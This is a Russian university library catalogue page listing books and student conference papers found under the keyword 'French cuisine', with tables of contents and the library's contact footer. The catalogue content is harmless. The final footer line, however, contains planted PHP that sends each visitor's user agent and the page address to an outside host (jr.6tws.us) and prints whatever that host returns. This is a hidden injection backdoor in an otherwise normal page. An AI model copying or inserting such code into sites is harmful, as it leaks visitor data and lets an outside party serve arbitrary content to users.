Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

91 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=КУХНЯ ФРАНЦУЗСКАЯ")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 14
1. 
Региональные аспекты развития экономики, права, культуры [Текст] : сб. материалов 5-ой межрайонной науч.-практ. студенч. конф., 8 февр. 2008 г. / АНО "Колледж предпринимательства и права", г. омск, Тарский филиал, 2008. - 131 с.
Ключевые слова 
Оглавление 
  • Зуева, С. Анализ питания студентов первого курса на отделении допрофессиональной подготовки по результатам социального опроса / С. Зуева. - с.4-7
    Кл. слова: ПИТАНИЕ СТУДЕНТОВ
  • Новиков, К. М. В. Ломоносов - великий сын России / К. Новиков, Р. Лимакин. - с.8-12
  • Котовщикова, Е. Демографические процессы в России / Е. Котовщикова. - с.13-15
    Кл. слова: ДЕМОГРАФИЯ - РОССИЯ
  • Панкова, А. Проблема твердых бытовых отходов и их утилизация в городе Омске / А. Панкова. - с.16-23
    Кл. слова: ОТХОДЫ - ОМСКАЯ ОБЛАСТЬ, ОТХОДЫ БЫТОВЫЕ
  • Забулика, О. Экологическая безопасность города Омска / О. Забулика. - с.24-31
    Кл. слова: ОМСКАЯ ОБЛАСТЬ - ЭКОЛОГИЯ
  • Коробова, К. "Птичья Гавань" как пример особо охраняемой природной территории омской области / К. Коробова. - с.32-46
    Кл. слова: ОМСКАЯ ОБЛАСТЬ - ПРИРОДА
  • Коробова, К. Памятники природы омской области / К. Коробова. - с.47-51
  • Болок, О. Государственные учреждения в городе Омске: "Центры социальной помощи семье и детям" / О. Болок. - с.54-59
    Кл. слова: ПОМОЩЬ СОЦИАЛЬНАЯ - ОМСК
  • Сарсембаева, В. Судебная практика по делам о наследовании в омской области / В. Сарсембаева. - с.60-65
    Кл. слова: НАСЛЕДОВАНИЕ
  • Яненко, Н. Готовность студентов-выпускников по специальности "Право и организация социального обеспечения" к осуществлению профилактической работы в области наркомании и наркопреступности / Н. Яненко. - с.66-70
  • Францева, Д. Правовое регулирование семейно-брачных отношений / Д. Францева. - с.71-88
    Кл. слова: СЕМЬЯ - ПРАВО
  • Суриков, С. Семья как первичная ячейка общества и субъект права / С. Суриков. - с.89-99
  • Лялик, С. Уголовная ответственность за неуплату алиментов / С. Лялик. - с.100-110
    Кл. слова: АЛИМЕНТЫ - ПРАВО
  • Вит, А. Правовое регулирование семейных отношений / А. Вит. - с.111-118
  • Массольд, И. Традиции Германии: немецкая свадьба / И. Массольд. - с.120-124
    Кл. слова: ГЕРМАНИЯ - ТРАДИЦИИ, СВАДЬБА
  • Билоха, А. Современная семья: кризис или модернизация? / А. Билоха. - с.125-133
  • Булгакова, Я. Суицид как форма девиантного поведения / Я. Булгакова. - с.134-142
    Кл. слова: СУИЦИД
  • Проценко, Ю. Личность И. В. Сталина в истории / Ю. Проценко. - с.143-147
  • Лещук, А. Библейские мотивы в романе Ф. М. Достоевского "Братья Карамазовы" / А. Лещук. - с.149-154
  • Кошелева, Н. Роль семьи в духовном становлении личности / Н. Кошелева. - с.155-157
  • Коробова, К. Семья и семейные традиции / К. Коробова, А. Панкова. - с.158-160
    Кл. слова: ТРАДИЦИЯ
  • Браузман, О. Исследование репродуктивных установок студентов колледжа / О. Браузман. - с.161-166
  • Кузьменко, И. Коренные народы Севера: ненцы, ханты, манси / И. Кузьменко. - с.167-179
    Кл. слова: НЕНЦЫ, ХАНТЫ, МАНСИ
  • Власов, М. Речевой этикет - неотъемлемая часть гарманично развитой личности / М. Власов. - с.180-186
    Кл. слова: ЭТИКЕТ РЕЧЕВОЙ
  • Русина, Т. Ароматы французской кухни в омских ресторанах / Т. Русина. - с.188-190
    Кл. слова: КУХНЯ ФРАНЦУЗСКАЯ
  • Кибардина, И. История известных блюд / И. Кибардина. - с.191-193
  • Манина, О. Овсяный "Бренд" / О. Манина. - с.194-196
  • Масалыкина, А. Формула здоровья / А. Масалыкина. - с.197-198
  • Левинская, М. Песочное печенье с подсолнечником / М. Левинская. - с.199-201
    Кл. слова: ПЕЧЕНЬЯ
  • Лещева, А. Аналитический обзор современного теплового оборудования: гриль-аппараты / А. Лещева. - с.202-203
    Кл. слова: ГРИЛЬ, ОБОРУДОВАНИЕ ЖАРОЧНО - ПЕКАР
  • Лабутина, М. Продукты вредные для здоровья / М. Лабутина. - с.204-207
  • Кабакова, А. Самообслуживание / А. Кабакова. - с.210-214
  • Романова, Ю. Дресс-код специалиста - помощь в работе или предприятие? / Ю. Романова, Л. Сальникова. - с.215-219
  • Шкель, Е. Современные концепции управления маркетинговой деятельностью / Е. Шкель. - с.220-225
  • Кузнецов, И. Возникновение конфликтов в группе и пути их разрешения / И. Кузнецов, А. Моцный
    Кл. слова: КОНФЛИКТ МЕЖГРУППОВОЙ
  • Афонина, Ю. Изменения в сфере налогового законодательства с 01.01.2008 г. / Ю. Афонина
  • Шеломов, М. Мировой финансовый кризис / М. Шеломов. - с.236-240
    Кл. слова: КРИЗИС МИРОВОЙ
  • Топузян, Н. Ипотечное кредитование / Н. Топузян. - с.241-250
    Кл. слова: КРЕДИТОВАНИЕ ИПОТЕЧНОЕ
  • Патрончик, О. Характеристика изменений ПБУ 3/2006 "Учет активов и обязательств, стоимость которых выраженна в иностранной валюте" / О. Патрончик. - с.251-254
  • Камбалина, А. Камеральные и выездные налоговые проверки / А. Камбалина. - с.255-258
    Кл. слова: ПРОВЕРКА НАЛОГОВАЯ ВЫЕЗДНАЯ, ПРОВЕРКА НАЛОГОВАЯ КАМЕРАЛЬН
  • Дмитриев, И. Перспективы социально-экономического развития города Омска / И. Дмитриев, К. Выговский. - с.259-263
  • Костенко, М. Бухгалтерский и налоговый учет нормируемых расходов / М. Костенко. - с.264-274
  • Вицинец, И. Сравнительная характеристика Федерального закона "О бухгалтерском учете" и проекта Федерального закона "О бухгалтерском учете" / И. Вицинец. - с.275-281
  • Трошкин, Р. Конкурентоспособность Омского региона и роль малого предпринимательства / Р. Трошкин. - с.281-285
  • Гаглоева, Е. Депозитные деньги / Е. Гаглоева, О. Здриковская. - с.285-290
    Кл. слова: ДЕПОЗИТ
Держатели документа (Информация об экземплярах) 
2. 
Региональные аспекты развития: экономика, право, культура [Текст] : сб. материалов студенч. конф. / АНО "Колледж предпринимательства и права", 2008. - 294 с.
Оглавление 
  • Зуева, С. Анализ питания студентов первого курса на отделении допрофессиональной подготовки по результатам социального опроса / С. Зуева. - с.4-7
    Кл. слова: ПИТАНИЕ СТУДЕНТОВ
  • Новиков, К. М. В. Ломоносов - великий сын России / К. Новиков, Р. Лимакин. - с.8-12
  • Котовщикова, Е. Демографические процессы в России / Е. Котовщикова. - с.13-15
    Кл. слова: ДЕМОГРАФИЯ - РОССИЯ
  • Панкова, А. Проблема твердых бытовых отходов и их утилизация в городе Омске / А. Панкова. - с.16-23
    Кл. слова: ОТХОДЫ - ОМСКАЯ ОБЛАСТЬ, ОТХОДЫ БЫТОВЫЕ
  • Забулика, О. Экологическая безопасность города Омска / О. Забулика. - с.24-31
    Кл. слова: ОМСКАЯ ОБЛАСТЬ - ЭКОЛОГИЯ
  • Коробова, К. "Птичья Гавань" как пример особо охраняемой природной территории омской области / К. Коробова. - с.32-46
    Кл. слова: ОМСКАЯ ОБЛАСТЬ - ПРИРОДА
  • Коробова, К. Памятники природы омской области / К. Коробова. - с.47-51
  • Болок, О. Государственные учреждения в городе Омске: "Центры социальной помощи семье и детям" / О. Болок. - с.54-59
    Кл. слова: ПОМОЩЬ СОЦИАЛЬНАЯ - ОМСК
  • Сарсембаева, В. Судебная практика по делам о наследовании в омской области / В. Сарсембаева. - с.60-65
    Кл. слова: НАСЛЕДОВАНИЕ
  • Яненко, Н. Готовность студентов-выпускников по специальности "Право и организация социального обеспечения" к осуществлению профилактической работы в области наркомании и наркопреступности / Н. Яненко. - с.66-70
  • Францева, Д. Правовое регулирование семейно-брачных отношений / Д. Францева. - с.71-88
    Кл. слова: СЕМЬЯ - ПРАВО
  • Суриков, С. Семья как первичная ячейка общества и субъект права / С. Суриков. - с.89-99
  • Лялик, С. Уголовная ответственность за неуплату алиментов / С. Лялик. - с.100-110
    Кл. слова: АЛИМЕНТЫ - ПРАВО
  • Вит, А. Правовое регулирование семейных отношений / А. Вит. - с.111-118
  • Массольд, И. Традиции Германии: немецкая свадьба / И. Массольд. - с.120-124
    Кл. слова: ГЕРМАНИЯ - ТРАДИЦИИ, СВАДЬБА
  • Билоха, А. Современная семья: кризис или модернизация? / А. Билоха. - с.125-133
  • Булгакова, Я. Суицид как форма девиантного поведения / Я. Булгакова. - с.134-142
    Кл. слова: СУИЦИД
  • Проценко, Ю. Личность И. В. Сталина в истории / Ю. Проценко. - с.143-147
  • Лещук, А. Библейские мотивы в романе Ф. М. Достоевского "Братья Карамазовы" / А. Лещук. - с.149-154
  • Кошелева, Н. Роль семьи в духовном становлении личности / Н. Кошелева. - с.155-157
  • Коробова, К. Семья и семейные традиции / К. Коробова, А. Панкова. - с.158-160
    Кл. слова: ТРАДИЦИЯ
  • Браузман, О. Исследование репродуктивных установок студентов колледжа / О. Браузман. - с.161-166
  • Кузьменко, И. Коренные народы Севера: ненцы, ханты, манси / И. Кузьменко. - с.167-179
    Кл. слова: НЕНЦЫ, ХАНТЫ, МАНСИ
  • Власов, М. Речевой этикет - неотъемлемая часть гарманично развитой личности / М. Власов. - с.180-186
    Кл. слова: ЭТИКЕТ РЕЧЕВОЙ
  • Русина, Т. Ароматы французской кухни в омских ресторанах / Т. Русина. - с.188-190
    Кл. слова: КУХНЯ ФРАНЦУЗСКАЯ
  • Кибардина, И. История известных блюд / И. Кибардина. - с.191-193
  • Манина, О. Овсяный "Бренд" / О. Манина. - с.194-196
  • Масалыкина, А. Формула здоровья / А. Масалыкина. - с.197-198
  • Левинская, М. Песочное печенье с подсолнечником / М. Левинская. - с.199-201
    Кл. слова: ПЕЧЕНЬЯ
  • Лещева, А. Аналитический обзор современного теплового оборудования: гриль-аппараты / А. Лещева. - с.202-203
    Кл. слова: ГРИЛЬ, ОБОРУДОВАНИЕ ЖАРОЧНО - ПЕКАР
  • Лабутина, М. Продукты вредные для здоровья / М. Лабутина. - с.204-207
  • Кабакова, А. Самообслуживание / А. Кабакова. - с.210-214
  • Романова, Ю. Дресс-код специалиста - помощь в работе или предприятие? / Ю. Романова, Л. Сальникова. - с.215-219
  • Шкель, Е. Современные концепции управления маркетинговой деятельностью / Е. Шкель. - с.220-225
  • Кузнецов, И. Возникновение конфликтов в группе и пути их разрешения / И. Кузнецов, А. Моцный
    Кл. слова: КОНФЛИКТ МЕЖГРУППОВОЙ
  • Афонина, Ю. Изменения в сфере налогового законодательства с 01.01.2008 г. / Ю. Афонина
  • Шеломов, М. Мировой финансовый кризис / М. Шеломов. - с.236-240
    Кл. слова: КРИЗИС МИРОВОЙ
  • Топузян, Н. Ипотечное кредитование / Н. Топузян. - с.241-250
    Кл. слова: КРЕДИТОВАНИЕ ИПОТЕЧНОЕ
  • Патрончик, О. Характеристика изменений ПБУ 3/2006 "Учет активов и обязательств, стоимость которых выраженна в иностранной валюте" / О. Патрончик. - с.251-254
  • Камбалина, А. Камеральные и выездные налоговые проверки / А. Камбалина. - с.255-258
    Кл. слова: ПРОВЕРКА НАЛОГОВАЯ ВЫЕЗДНАЯ, ПРОВЕРКА НАЛОГОВАЯ КАМЕРАЛЬН
  • Дмитриев, И. Перспективы социально-экономического развития города Омска / И. Дмитриев, К. Выговский. - с.259-263
  • Костенко, М. Бухгалтерский и налоговый учет нормируемых расходов / М. Костенко. - с.264-274
  • Вицинец, И. Сравнительная характеристика Федерального закона "О бухгалтерском учете" и проекта Федерального закона "О бухгалтерском учете" / И. Вицинец. - с.275-281
  • Трошкин, Р. Конкурентоспособность Омского региона и роль малого предпринимательства / Р. Трошкин. - с.281-285
  • Гаглоева, Е. Депозитные деньги / Е. Гаглоева, О. Здриковская. - с.285-290
    Кл. слова: ДЕПОЗИТ
Держатели документа (Информация об экземплярах) 
3. 
Сборник рецептур блюд зарубежной кухни [Текст] : сборник / Ассоциация кулинаров России ГО ВПО "Московский гос. ун-т пищевых производств", АНО ВПО ЦС РФ "Рос. ун-т кооперации", 2009. - 815 с.
Ключевые слова 
Кухня австралийская -- КУХНЯ АВСТРИЙСКАЯ -- КУХНЯ АНГЛИЙСКАЯ -- КУХНЯ АРАБСКАЯ -- Кухня афганская -- КУХНЯ АФРИКАНСКАЯ -- КУХНЯ БЕЛЬГИЙСКАЯ -- КУХНЯ БОЛГАРСКАЯ -- КУХНЯ ВЕНГЕРСКАЯ -- Кухня вьетнамская -- КУХНЯ ГРЕЧЕСКАЯ -- КУХНЯ ДАТСКАЯ -- КУХНЯ ЕВРЕЙСКАЯ -- КУХНЯ ИНДИЙСКАЯ -- КУХНЯ ИНДОНЕЗИЙСКАЯ -- КУХНЯ ИРАНСКАЯ -- Кухня иракская -- КУХНЯ ИСПАНСКАЯ -- КУХНЯ ИТАЛЬЯНСКАЯ -- КУХНЯ КАНАДСКАЯ -- КУХНЯ КИТАЙСКАЯ -- КУХНЯ КОРЕЙСКАЯ -- Кухня народов Антильских островов -- Кухня аргентинская -- Кухня боливийская -- КУХНЯ БРАЗИЛЬСКАЯ -- Кухня венесуэльская -- Кухня народов Гаити -- Кухня гватемальская -- Кухня народов Гондураса -- Кухня никарагуанская -- Кухня Коста-Рики -- Кухня панамская -- Кухня доминиканская -- Кухня колумбийская -- КУХНЯ КУБИНСКАЯ -- КУХНЯ МЕКСИКАНСКАЯ -- Кухня парагвайская -- Кухня перуанская -- Кухня сальвадорская -- Кухня уругвайская -- Кухня чилийская -- Кухня эквадорская -- КУХНЯ АМЕРИКАНСКАЯ -- КУХНЯ МОНГОЛЬСКАЯ -- КУХНЯ НЕМЕЦКАЯ -- КУХНЯ ПОЛЬСКАЯ -- Кухня португальская -- КУХНЯ РУМЫНСКАЯ -- КУХНЯ СКАНДИНАВСКАЯ -- КУХНЯ ТУРЕЦКАЯ -- КУХНЯ ФРАНЦУЗСКАЯ -- КУХНЯ ЧЕШСКАЯ -- КУХНЯ СЛОВАЦКАЯ -- КУХНЯ ЮГОСЛАВСКАЯ -- КУХНЯ ЯПОНСКАЯ
Держатели документа (Информация об экземплярах) 
4. 
Титюнник А. И. Советская национальная и зарубежная кухня [Текст] : учеб. пособие для сред. проф.-техн. училищ / А. И. Титюнник, Ю. М. Новоженов, 1979. - 479 с.
Ключевые слова 
КУХНЯ РУССКАЯ -- КУХНЯ УКРАИНСКАЯ -- КУХНЯ БЕЛОРУССКАЯ -- КУХНЯ МОЛДАВСКАЯ -- КУХНЯ ГРУЗИНСКАЯ -- КУХНЯ АРМЯНСКАЯ -- КУХНЯ АЗЕРБАЙДЖАНСКАЯ -- КУХНЯ КАЗАХСКАЯ -- КУХНЯ УЗБЕКСКАЯ -- КУХНЯ КИРГИЗСКАЯ -- КУХНЯ ТАДЖИКСКАЯ -- КУХНЯ ТУРКМЕНСКАЯ -- КУХНЯ ЛИТОВСКАЯ -- КУХНЯ ЛАТЫШСКАЯ -- КУХНЯ ЭСТОНСКАЯ -- КУХНЯ БОЛГАРСКАЯ -- КУХНЯ ЮГОСЛАВСКАЯ -- КУХНЯ ВЕНГЕРСКАЯ -- КУХНЯ НЕМЕЦКАЯ -- КУХНЯ ПОЛЬСКАЯ -- КУХНЯ РУМЫНСКАЯ -- КУХНЯ ЧЕШСКАЯ -- КУХНЯ АНГЛИЙСКАЯ -- КУХНЯ АРАБСКАЯ -- КУХНЯ ИНДИЙСКАЯ -- КУХНЯ ИТАЛЬЯНСКАЯ -- КУХНЯ КИТАЙСКАЯ -- КУХНЯ КОРЕЙСКАЯ -- КУХНЯ МОНГОЛЬСКАЯ -- КУХНЯ ЯПОНСКАЯ -- КУХНЯ СКАНДИНАВСКАЯ -- КУХНЯ ФРАНЦУЗСКАЯ -- КУХНЯ ЛАТИНО-АМЕРИКАНСКАЯ
Держатели документа (Информация об экземплярах) 
5. 
Современная молочная кухня [Текст] / М. Теплы [и др.], 1987. - 240 с.
Держатели документа (Информация об экземплярах) 
6. 
Официант-бармен [Текст] / сост. В. А. Барановский, 2013. - 427 с.
Ключевые слова 
ОФИЦИАНТ - БАРМЕН -- ПРЕДПРИЯТИЕ ОБЩЕСТВЕННОГО ПИТАНИЯ -- РЕСТОРАН -- КАФЕ -- БАР -- ПРОЦЕСС ТЕХНОЛОГИЧЕСКИЙ -- МОЕЧНАЯ КУХОННОЙ ПОСУДЫ -- РАЗДАТОЧНАЯ -- ХОЗЯЙСТВО СКЛАДСКОЕ -- БРАКЕРАЖ -- ПОМЕЩЕНИЕ ТОРГОВОЕ -- ИНТЕРЬЕР РЕСТОРАНА -- ОБОРУДОВАНИЕ ЗАЛА -- БУФЕТ -- СЕРВИЗНАЯ -- МОЕЧНАЯ СТОЛОВОЙ ПОСУДЫ -- МЕНЮ -- ПОСУДА СТОЛОВАЯ -- ПРИБОР СТОЛОВЫЙ -- БЕЛЬЕ СТОЛОВОЕ -- ОБСЛУЖИВАНИЕ ПОСЕТИТЕЛЕЙ -- КУЛЬТУРА ПОВЕДЕНИЯ ОФИЦИАНТА -- ВСТРЕЧА ПОСЕТИТЕЛЕЙ -- ПРИЕМ ЗАКАЗА -- ПОДАЧА БЛЮД -- КОКТЕЙЛЬ -- ПУНШ -- ГЛИНТВЕЙН -- ГРОГ -- КРЮШОН -- САНГРИЯ -- РАСЧЕТ С ПОСЕТИТЕЛЯМИ -- СПЕЦОБСЛУЖИВАНИЕ -- ОБСЛУЖИВАНИЕ БАНКЕТНОЕ -- БАНКЕТ -- БАНКЕТ С ЧАСТИЧНЫМ ОБСЛУЖИВАНИЕМ -- БАНКЕТ - ЧАЙ -- БАНКЕТ - ФУРШЕТ -- БАНКЕТ - КОКТЕЙЛЬ -- БАРМЕН -- ОБСЛУЖИВАНИЕ ИНТУРИСТОВ -- СТОЛ ШВЕДСКИЙ -- КУХНЯ АЛЖИРСКАЯ -- КУХНЯ АНГЛИЙСКАЯ -- КУХНЯ АМЕРИКАНСКАЯ -- КУХНЯ КАНАДСКАЯ -- КУХНЯ АРАБСКАЯ -- Кухня болгарская -- Кухня югославская -- Кухня венгерская -- КУХНЯ ИНДОНЕЗИЙСКАЯ -- Кухня индийская -- Кухня иранская -- Кухня итальянская -- Кухня немецкая -- Кухня польская -- Кухня румынская -- Кухня скандинавская -- КУХНЯ ФРАНЦУЗСКАЯ -- Кухня чешская -- Кухня южноамериканская -- Кухня японская -- РЕКЛАМА - РЕСТОРАН -- СПРОС ПОТРЕБИТЕЛЬСКИЙ -- ТЕХНИКА БЕЗОПАСНОСТИ - ПРЕДПРИЯТИЕ ОБЩЕСТВЕННОГО ПИТАНИЯ -- ПОДГОТОВКА ПРОФЕССИОНАЛЬНАЯ -- ЭКЗАМЕН ТЕОРЕТИЧЕСКИЙ -- ЭКЗАМЕН ПРАКТИЧЕСКИЙ -- ОХРАНА ТРУДА -- САНПИН 2.3.2.1078-01 -- САНПИН 2.3.5.021-94 -- САНПИН 42-123-4117-86
Держатели документа (Информация об экземплярах) 
7. 
Технология кулинарной продукции за рубежом [Текст] : учеб.-метод. пособие для студентов специальности 260501 "Технология продуктов общественного питания" / АНО ВПО "Омский экономический ин-т", каф. технологии продуктов питания, 2008. - 199 с.
Ключевые слова 
КУХНЯ ФРАНЦУЗСКАЯ -- КУХНЯ НЕМЕЦКАЯ -- КУХНЯ ИТАЛЬЯНСКАЯ -- КУХНЯ АНГЛИЙСКАЯ -- КУХНЯ ВЕНГЕРСКАЯ -- КУХНЯ ЧЕШСКАЯ -- КУХНЯ СЛОВАЦКАЯ -- КУХНЯ ПОЛЬСКАЯ -- КУХНЯ БОЛГАРСКАЯ -- КУХНЯ БЕЛОРУССКАЯ -- КУХНЯ УКРАИНСКАЯ -- КУХНЯ МОЛДАВСКАЯ -- КУХНЯ ЛАТЫШСКАЯ -- КУХНЯ ЛИТОВСКАЯ -- КУХНЯ ЭСТОНСКАЯ -- КУХНЯ АМЕРИКАНСКАЯ -- КУХНЯ МЕКСИКАНСКАЯ -- Кухня латино-американская -- Кухня аргетинская -- Кухня бразильская -- КУХНЯ КУБИНСКАЯ -- КУХНЯ КИТАЙСКАЯ -- КУХНЯ ЯПОНСКАЯ -- КУХНЯ КОРЕЙСКАЯ -- КУХНЯ АРАБСКАЯ -- Кухня индийская -- ПОЛНЫЙ ТЕКСТ
Держатели документа (Информация об экземплярах) 
8. 
Технология кулинарной продукции за рубежом [Текст] : лабораторный практикум для студентов специальности 260501 "Технология продуктов общественного питания" / АНО ВПО "Омский экономический ин-т", каф. технологии продуктов питания, 2008. - 51 с.
Держатели документа (Информация об экземплярах) 
9. 
Ресторанный сервис. Основы международной практики обслуживания для профессионалов и начинающих [Текст] : справочное издание / С. Зигель и др., 2003. - 287 с.
Ключевые слова 
ОФИЦИАНТ -- ПРИЕМ ГОСТЕЙ -- РЕСТОРАН - ПЕРСОНАЛ -- СОМЕЛЬЕ -- ПОСУДА СТОЛОВАЯ -- ДИЗАЙН ресторана -- СЕРВИРОВКА СТОЛА -- Завтрак - ресторан -- Ленч - ресторан -- МЕНЮ РЕСТОРАНА -- КАРТА ВИН -- БАР -- БУФЕТ -- БАНКЕТ -- КОКТЕЙЛЬ - парти -- Кухня датская -- КУХНЯ австрийская -- КУХНЯ НЕМЕЦКАЯ -- КУХНЯ ИТАЛЬЯНСКАЯ -- КУХНЯ ФРАНЦУЗСКАЯ -- КУХНЯ ИСПАНСКАЯ -- КУХНЯ АНГЛИЙСКАЯ -- КУХНЯ АМЕРИКАНСКАЯ -- КУХНЯ ЯПОНСКАЯ -- КУХНЯ КИТАЙСКАЯ -- КУХНЯ ЕВРЕЙСКАЯ -- Кухня швейцарская -- Кухня шведская
10. 
Барановский В. А. Официант-бармен [Текст] : учеб. пособие для учащихся учеб. заведений начального проф. образования / В. А. Барановский, Л. В. Кулькова, 2002. - 347 с.
Ключевые слова 
ОФИЦИАНТ-бармен -- ПРЕДПРИЯТИЕ ОБЩЕСТВЕННОГО ПИ -- ЦЕХ ОВОЩНОЙ -- ЦЕХ МЯСНОЙ -- ЦЕХ РЫБНЫЙ -- ЦЕХ ГОРЯЧИЙ -- ЦЕХ ХОЛОДНЫЙ -- МОЕЧНАЯ КУХОННОЙ ПОСУДЫ -- РАЗДАТОЧНАЯ -- ХОЗЯЙСТВО СКЛАДСКОЕ -- БРАКЕРАЖ -- ПОМЕЩЕНИЕ ТОРГОВОЕ -- ИНТЕРЬЕР РЕСТОРАНА -- БУФЕТ -- БАР -- МАШИНА КОНТРОЛЬНО-КАССОВАЯ -- СЕРВИЗНАЯ -- МОЕЧНАЯ СТОЛОВОЙ ПОСУДЫ -- МЕНЮ -- ПОСУДА СТОЛОВАЯ -- БЕЛЬЕ СТОЛОВОЕ -- ЗАЛ ТОРГОВЫЙ -- СЕРВИРОВКА СТОЛА -- КУЛЬТУРА ПОВЕДЕНИЯ официанта -- ОБСЛУЖИВАНИЕ РЕСТОРАННОЕ -- БАНКЕТ -- БАНКЕТ - ЧАЙ -- БАНКЕТ- ПРИЕМ -- БАНКЕТ - ФУРШЕТ -- БАНКЕТ - КОКТЕЙЛЬ -- БАРМЕН -- БУФЕТ бар -- Банкет с частичным обслуживанием -- ОБСЛУЖИВАНИЕ ИНТУРИСТОВ -- СТОЛ ШВЕДСКИЙ -- КУХНЯ алжирская -- Кухня английская -- Кухня американская -- Кухня канадская -- Кухня арабская -- Кухня болгарская -- Кухня югославская -- Кухня венгерская -- Кухня индийская -- Кухня иранская -- Кухня итальянская -- Кухня немецкая -- Кухня польская -- Кухня румынская -- Кухня скандинавская -- КУХНЯ ФРАНЦУЗСКАЯ -- Кухня чешская -- Кухня южноамериканская -- Кухня японская -- РЕКЛАМА - РЕСТОРАН -- ОХРАНА ТРУДА
11. 
Кузнецова Е. К. Лучшие рецепты мировой кухни [Текст] : издания для досуга / Е. К. Кузнецова, 2004. - 191 с.
Ключевые слова 
КУХНЯ АВСТРИЙСКАЯ -- КУХНЯ АМЕРИКАНСКАЯ -- КУХНЯ АНГЛИЙСКАЯ -- КУХНЯ АРАБСКАЯ -- КУХНЯ АФРИКАНСКАЯ -- КУХНЯ БЕЛЬГИЙСКАЯ -- КУХНЯ БОЛГАРСКАЯ -- КУХНЯ ВЕНГЕРСКАЯ -- КУХНЯ ГЕРМАНСКАЯ -- КУХНЯ ГОЛЛАНДСКАЯ -- КУХНЯ ГРЕЧЕСКАЯ -- КУХНЯ ИЗРАИЛЬСКАЯ -- КУХНЯ ИНДИЙСКАЯ -- КУХНЯ ИСПАНСКАЯ -- КУХНЯ ИТАЛЬЯНСКАЯ -- КУХНЯ КИТАЙСКАЯ -- КУХНЯ КОРЕЙСКАЯ -- КУХНЯ МЕКСИКАНСКАЯ -- КУХНЯ ПОЛЬСКАЯ -- КУХНЯ РУМЫНСКАЯ -- КУХНЯ СКАНДИНАВСКАЯ -- КУХНЯ ТУРЕЦКАЯ -- КУХНЯ ФРАНЦУЗСКАЯ -- КУХНЯ ЧЕШСКАЯ -- КУХНЯ СЛОВАЦКАЯ -- КУХНЯ ШВЕЙЦАРСКАЯ -- КУХНЯ ЯПОНСКАЯ
Держатели документа (Информация об экземплярах) 
12. 
Могильный М. П. Организация и технология обслуживания питанием в гостиничных комплексах (рекомендации, перспективы, проектирование) [Текст] : производственно-практическое издание / М. П. Могильный, А. Ю. Баласанян, 2004. - 176 с.
Ключевые слова 
БАД -- ДОБАВКА БИОЛОГИЧЕСКИ АКТИВНА -- ХОЗЯЙСТВО ГОСТИНИЧНОЕ -- ПРЕДПРИЯТИЕ ОБЩЕСТВЕННОГО ПИ -- СЕРВИС -- VIP - обслуживание -- МЕНЮ -- ТУРИЗМ молодежный -- ОБСЛУЖИВАНИЕ ИНТУРИСТОВ -- ПИТАНИЕ ИНТУРИСТОВ -- КУХНЯ АНГЛИЙСКАЯ -- КУХНЯ АМЕРИКАНСКАЯ -- КУХНЯ БОЛГАРСКАЯ -- КУХНЯ ВЕНГЕРСКАЯ -- КУХНЯ ИТАЛЬЯНСКАЯ -- КУХНЯ ИНДИЙСКАЯ -- КУХНЯ КОРЕЙСКАЯ -- КУХНЯ МЕКСИКАНСКАЯ -- КУХНЯ МОНГОЛЬСКАЯ -- КУХНЯ НЕМЕЦКАЯ -- КУХНЯ ПОЛЬСКАЯ -- КУХНЯ РУМЫНСКАЯ -- КУХНЯ ФРАНЦУЗСКАЯ -- КУХНЯ ЧЕШСКАЯ -- КУХНЯ СЛОВАЦКАЯ -- КУХНЯ ЮГОСЛАВСКАЯ -- КУХНЯ ЯПОНСКАЯ -- Кухня арабская -- Кухня Юго-Восточной Азии -- Кухня кубинская -- Кухня стран Латинской Америки -- ПИТАНИЕ ДИЕТИЧЕСКОЕ -- КУХНЯ НАЦИОНАЛЬНАЯ -- День разгрузочный
Держатели документа (Информация об экземплярах) 
13. 
Радужан М. Ю. Курс бармена-официанта [Текст] / М. Ю. Радужан, И. Ю. Митева, 2005. - 220 с.
Держатели документа (Информация об экземплярах) 
14. 
Лотман Ю. М. Великосветские обеды [Текст] : научно-популярная литература / Ю. М. Лотман, Е. А. Погосян. - 318, [1] с.
Держатели документа (Информация об экземплярах) 

Исследование гастрономических нравов русской аристократии середины XIX века



    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 2994 - 21.08.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 0.83 с.12 запросов, 0.47c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;